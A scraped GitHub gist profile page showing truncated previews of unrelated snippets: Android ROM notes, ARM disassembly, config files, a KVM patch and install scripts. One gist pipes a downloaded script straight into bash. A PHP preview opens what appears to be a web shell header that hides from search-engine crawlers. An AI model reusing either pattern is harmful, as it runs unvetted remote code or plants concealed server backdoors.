Skip to content

Instantly share code, notes, and snippets.

View rupansh's full-sized avatar

Rupansh rupansh

View GitHub Profile
@rupansh
rupansh / Notes.md
Last active July 23, 2018 12:08 — forked from kdrag0n/Notes.md
Android P semi-GSI notes
.alpha { display:none; }
.container { width:100%; }
.export-container { width:100%; }
.copy-button { display:none; }
LAB_000171ec XREF[1]: 000171e2(j)
000171ec 07 99 ldr r1,[sp,#local_2c]
000171ee 01 f5 f3 22 add.w r2,r1,#0x79800
000171f2 02 f5 7f 70 add.w r0,r2,#0x3fc
000171f6 00 bf nop
000171f8 00 bf nop
000171fa 07 9b ldr r3,[sp,#local_2c]
000171fc 03 f5 f3 2c add.w r12,r3,#0x79800
00017200 0c f5 80 60 add.w r0,r12,#0x400
00017204 00 bf nop
[
{
"device" : "land",
"download" : "https://reloadedrom.com/device/land",
"zip_name" : "Reloaded-CAF-20190418.zip",
"build_date" : "2019-04-18",
"maintainer" : "Ritesh Saxena",
"xda_thread" : "https://forum.xda-developers.com/xiaomi-redmi-3s/development/rom-reloaded-caf-t3891208"
},
{
!--------------------------
! ROFI Color theme
! -------------------------
rofi.color-enabled: true
!rofi.color-window: argb:ee273238, #273238, argb:3a1e2529
rofi.color-window: #000, #000, #000
rofi.color-normal: argb:00273238, #c1c1c1, argb:3a273238, #394249, #ffffff
rofi.color-active: argb:00273238, #80cbc4, argb:3a273238, #394249, #80cbc4
rofi.color-urgent: argb:00273238, #ff1844, argb:3a273238, #394249, #ff1844
rofi.hide-scrollbar: true
@rupansh
rupansh / meh
Created February 1, 2020 00:51
wget -q -O - https://raw.githubusercontent.com/dylanaraps/neofetch/master/neofetch | bash
<?php
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
import requests
url = input("enter post url ")
res = requests.get(url)
img = filter(lambda x: "og:image" in x, res.text.split("\n"))
print(next(img).split()[2].replace("content=", ""))
diff --git a/arch/x86/kvm/vmx/vmx.c b/arch/x86/kvm/vmx/vmx.c
index 8fafcb2cd..2b1c7b378 100644
--- a/arch/x86/kvm/vmx/vmx.c
+++ b/arch/x86/kvm/vmx/vmx.c
@@ -2363,7 +2363,8 @@ static __init int setup_vmcs_config(struct vmcs_config *vmcs_conf,
CPU_BASED_MWAIT_EXITING |
CPU_BASED_MONITOR_EXITING |
CPU_BASED_INVLPG_EXITING |
- CPU_BASED_RDPMC_EXITING;
+ CPU_BASED_RDPMC_EXITING |
#!/usr/bin/env sh
# Prepare environment
find /tmp/pineapple/* ! -name '*.zip' 2>/dev/null | sort -n -r | xargs rm -rf --
mkdir -p /tmp/pineapple && cd /tmp/pineapple
#Define the functions
makealias() {
ryualias='alias ryujinx="'$arg' GDK_BACKEND=x11 /home/'${USER}'/.local/share/Ryujinx/Ryujinx"'
if [ -z "${SHELL##*zsh*}" ]; then
printf "Detected shell: ZSH\n"
FILE="/home/${USER}/.zshrc"